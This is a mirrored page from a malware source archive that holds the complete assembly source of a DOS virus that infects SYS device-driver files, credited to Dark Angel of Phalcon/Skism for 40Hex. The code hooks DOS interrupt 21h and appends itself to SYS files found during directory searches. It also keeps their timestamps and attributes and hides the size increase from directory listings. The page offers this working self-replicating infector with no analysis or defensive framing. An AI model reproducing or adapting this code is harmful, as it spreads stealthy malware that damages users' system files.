mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
312 lines
10 KiB
NASM
312 lines
10 KiB
NASM
|
;Sysinf.asm????
|
||
|
|
||
|
.model tiny
|
||
|
.code
|
||
|
org 0 ; SYS files originate at zero
|
||
|
|
||
|
; SYS infector
|
||
|
; Written by Dark Angel of Phalcon/Skism
|
||
|
; for 40Hex
|
||
|
|
||
|
header:
|
||
|
|
||
|
next_header dd -1 ; FFFF:FFFF
|
||
|
attribute dw 8000h ; character device
|
||
|
strategy dw offset _strategy
|
||
|
interrupt dw offset _interrupt
|
||
|
namevirus db 'SYS INF ' ; simple SYS infector
|
||
|
|
||
|
endheader:
|
||
|
|
||
|
author db 0,'Simple SYS infector',0Dh,0Ah
|
||
|
db 'Written by Dark Angel of Phalcon/Skism',0
|
||
|
|
||
|
_strategy: ; save es:bx pointer
|
||
|
push si
|
||
|
call next_strategy
|
||
|
next_strategy:
|
||
|
pop si
|
||
|
mov cs:[si+offset savebx-offset next_strategy],bx
|
||
|
mov cs:[si+offset savees-offset next_strategy],es
|
||
|
pop si
|
||
|
retf
|
||
|
|
||
|
_interrupt: ; install virus in memory
|
||
|
push ds ; generally, only the segment
|
||
|
push es ; registers need to be preserved
|
||
|
|
||
|
push cs
|
||
|
pop ds
|
||
|
|
||
|
call next_interrupt
|
||
|
next_interrupt:
|
||
|
pop bp
|
||
|
les bx,cs:[bp+savebx-next_interrupt] ; get request header pointer
|
||
|
|
||
|
mov es:[bx+3],8103h ; default to fail request
|
||
|
cmp byte ptr es:[bx+2], 0 ; check if it is installation request
|
||
|
jnz exit_interrupt ; exit if it is not
|
||
|
|
||
|
mov es:[bx+10h],cs ; fill in ending address value
|
||
|
lea si,[bp+header-next_interrupt]
|
||
|
mov es:[bx+0eh],si
|
||
|
dec byte ptr es:[bx+3] ; and assume installation failure
|
||
|
|
||
|
mov ax, 0b0fh ; installation check
|
||
|
int 21h
|
||
|
cmp cx, 0b0fh
|
||
|
jz exit_interrupt ; exit if already installed
|
||
|
|
||
|
add es:[bx+0eh],offset endheap ; fixup ending address
|
||
|
mov es:[bx+3],100h ; and status word
|
||
|
|
||
|
xor ax,ax
|
||
|
mov ds,ax ; ds->interrupt table
|
||
|
les bx,ds:[21h*4] ; get old interrupt handler
|
||
|
mov word ptr cs:[bp+oldint21-next_interrupt],bx
|
||
|
mov word ptr cs:[bp+oldint21+2-next_interrupt],es
|
||
|
|
||
|
lea si,[bp+int21-next_interrupt]
|
||
|
cli
|
||
|
mov ds:[21h*4],si ; replace int 21h handler
|
||
|
mov ds:[21h*4+2],cs
|
||
|
sti
|
||
|
exit_interrupt:
|
||
|
pop es
|
||
|
pop ds
|
||
|
retf
|
||
|
|
||
|
int21:
|
||
|
cmp ax,0b0fh ; installation check?
|
||
|
jnz notinstall
|
||
|
xchg cx,ax ; mark already installed
|
||
|
exitint21:
|
||
|
iret
|
||
|
notinstall:
|
||
|
pushf
|
||
|
db 9ah ; call far ptr This combined with the
|
||
|
oldint21 dd ? ; pushf simulates an int 21h call
|
||
|
|
||
|
pushf
|
||
|
|
||
|
push bp
|
||
|
push ax
|
||
|
|
||
|
mov bp, sp ; set up new stack frame
|
||
|
; flags [bp+10]
|
||
|
; CS:IP [bp+6]
|
||
|
; flags new [bp+4]
|
||
|
; bp [bp+2]
|
||
|
; ax [bp]
|
||
|
mov ax, [bp+4] ; get flags
|
||
|
mov [bp+10], ax ; replace old flags with new
|
||
|
|
||
|
pop ax ; restore the stack
|
||
|
pop bp
|
||
|
popf
|
||
|
|
||
|
cmp ah, 11h ; trap FCB find first and
|
||
|
jz findfirstnext
|
||
|
cmp ah, 12h ; FCB find next calls only
|
||
|
jnz exitint21
|
||
|
findfirstnext:
|
||
|
cmp al,0ffh ; successful findfirst/next?
|
||
|
jz exitint21 ; exit if not
|
||
|
|
||
|
push bp
|
||
|
call next_int21
|
||
|
next_int21:
|
||
|
pop bp
|
||
|
sub bp, offset next_int21
|
||
|
|
||
|
push ax ; save all registers
|
||
|
push bx
|
||
|
push cx
|
||
|
push dx
|
||
|
push ds
|
||
|
push es
|
||
|
push si
|
||
|
push di
|
||
|
|
||
|
mov ah, 2fh ; ES:BX <- DTA
|
||
|
int 21h
|
||
|
|
||
|
push es ; DS:BX->DTA
|
||
|
pop ds
|
||
|
|
||
|
cmp byte ptr [bx], 0FFh ; extended FCB?
|
||
|
jnz regularFCB ; continue if not
|
||
|
add bx, 7 ; otherwise, convert to regular FCB
|
||
|
regularFCB:
|
||
|
mov cx, [bx+29] ; get file size
|
||
|
mov word ptr cs:[bp+filesize], cx
|
||
|
|
||
|
push cs ; ES = CS
|
||
|
pop es
|
||
|
|
||
|
cld
|
||
|
|
||
|
; The following code converts the FCB to an ASCIIZ string
|
||
|
lea di, [bp+filename] ; destination buffer
|
||
|
lea si, [bx+1] ; source buffer - filename
|
||
|
|
||
|
cmp word ptr [si],'OC' ; do not infect CONFIG.SYS
|
||
|
jz bombout
|
||
|
|
||
|
mov cx, 8 ; copy up to 8 bytes
|
||
|
back: cmp byte ptr ds:[si], ' ' ; is it a space?
|
||
|
jz copy_done ; if so, done copying
|
||
|
movsb ; otherwise, move character to buffer
|
||
|
loop back
|
||
|
|
||
|
copy_done:
|
||
|
mov al, '.' ; copy period
|
||
|
stosb
|
||
|
|
||
|
mov ax, 'YS'
|
||
|
lea si, [bx+9] ; source buffer - extension
|
||
|
cmp word ptr [si], ax ; check if it has the SYS
|
||
|
jnz bombout ; extension and exit if it
|
||
|
cmp byte ptr [si+2], al ; does not
|
||
|
jnz bombout
|
||
|
stosw ; copy 'SYS' to the buffer
|
||
|
stosb
|
||
|
|
||
|
mov al, 0 ; copy null byte
|
||
|
stosb
|
||
|
|
||
|
push ds
|
||
|
pop es ; es:bx -> DTA
|
||
|
|
||
|
push cs
|
||
|
pop ds
|
||
|
|
||
|
xchg di,bx ; es:di -> DTA
|
||
|
; open file, read/only
|
||
|
call open ; al already 0
|
||
|
jc bombout ; exit on error
|
||
|
|
||
|
mov ah, 3fh ; read first
|
||
|
mov cx, 2 ; two bytes of
|
||
|
lea dx, [bp+buffer] ; the header
|
||
|
int 21h
|
||
|
|
||
|
mov ah, 3eh ; close file
|
||
|
int 21h
|
||
|
|
||
|
InfectSYS:
|
||
|
inc word ptr cs:[bp+buffer] ; if first word not FFFF
|
||
|
jz continueSYS ; assume already infected
|
||
|
; this is a safe bet since
|
||
|
; most SYS files do not have
|
||
|
; another SYS file chained on
|
||
|
|
||
|
alreadyinfected:
|
||
|
sub es:[di+29], heap - header ; hide file size increase
|
||
|
; during a DIR command
|
||
|
; This causes CHKDSK errors
|
||
|
;sbb word ptr es:[di+31], 0 ; not needed because SYS files
|
||
|
; are limited to 64K maximum
|
||
|
|
||
|
bombout:
|
||
|
pop di
|
||
|
pop si
|
||
|
pop es
|
||
|
pop ds
|
||
|
pop dx
|
||
|
pop cx
|
||
|
pop bx
|
||
|
pop ax
|
||
|
pop bp
|
||
|
iret
|
||
|
|
||
|
continueSYS:
|
||
|
push ds
|
||
|
pop es
|
||
|
|
||
|
lea si, [bp+offset header]
|
||
|
lea di, [bp+offset bigbuffer]
|
||
|
mov cx, offset endheader - offset header
|
||
|
rep movsb
|
||
|
|
||
|
mov cx, cs:[bp+filesize]
|
||
|
add cx, offset _strategy - offset header ; calculate offset to
|
||
|
mov word ptr [bp+bigbuffer+6],cx ; strategy routine
|
||
|
|
||
|
add cx, offset _interrupt - offset _strategy;calculate offset to
|
||
|
mov word ptr cs:[bp+bigbuffer+8], cx ; interrupt routine
|
||
|
|
||
|
continueinfection:
|
||
|
mov ax, 4300h ; get file attributes
|
||
|
lea dx, [bp+filename]
|
||
|
int 21h
|
||
|
|
||
|
push cx ; save attributes on stack
|
||
|
push dx ; save filename on stack
|
||
|
|
||
|
mov ax, 4301h ; clear file attributes
|
||
|
xor cx, cx
|
||
|
lea dx,[bp+filename]
|
||
|
int 21h
|
||
|
|
||
|
call openreadwrite
|
||
|
|
||
|
mov ax, 5700h ; get file time/date
|
||
|
int 21h
|
||
|
push cx ; save them on stack
|
||
|
push dx
|
||
|
|
||
|
mov ah, 40h ; write filesize to the old
|
||
|
mov cx, 2 ; SYS header
|
||
|
lea dx, [bp+filesize]
|
||
|
int 21h
|
||
|
|
||
|
mov ax, 4202h ; go to end of file
|
||
|
xor cx, cx
|
||
|
cwd ; xor dx, dx
|
||
|
int 21h
|
||
|
|
||
|
mov ah, 40h ; concatenate header
|
||
|
mov cx, offset endheader - offset header
|
||
|
lea dx, [bp+bigbuffer]
|
||
|
int 21h
|
||
|
|
||
|
mov ah, 40h ; concatenate virus
|
||
|
mov cx, offset heap - offset endheader
|
||
|
lea dx, [bp+endheader]
|
||
|
int 21h
|
||
|
|
||
|
mov ax, 5701h ; restore file time/date
|
||
|
pop dx
|
||
|
pop cx
|
||
|
int 21h
|
||
|
|
||
|
mov ah, 3eh ; close file
|
||
|
int 21h
|
||
|
|
||
|
mov ax, 4301h ; restore file attributes
|
||
|
pop cx
|
||
|
pop dx
|
||
|
int 21h
|
||
|
|
||
|
jmp bombout
|
||
|
|
||
|
openreadwrite:
|
||
|
mov al, 2 ; open read/write mode
|
||
|
open: mov ah, 3dh
|
||
|
lea dx,[bp+filename]
|
||
|
int 21h
|
||
|
xchg ax, bx ; put handle in bx
|
||
|
ret
|
||
|
|
||
|
heap:
|
||
|
savebx dw ?
|
||
|
savees dw ?
|
||
|
buffer db 2 dup (?)
|
||
|
filename db 13 dup (?)
|
||
|
filesize dw ?
|
||
|
bigbuffer db offset endheader - offset header dup (?)
|
||
|
endheap:
|
||
|
|
||
|
end header
|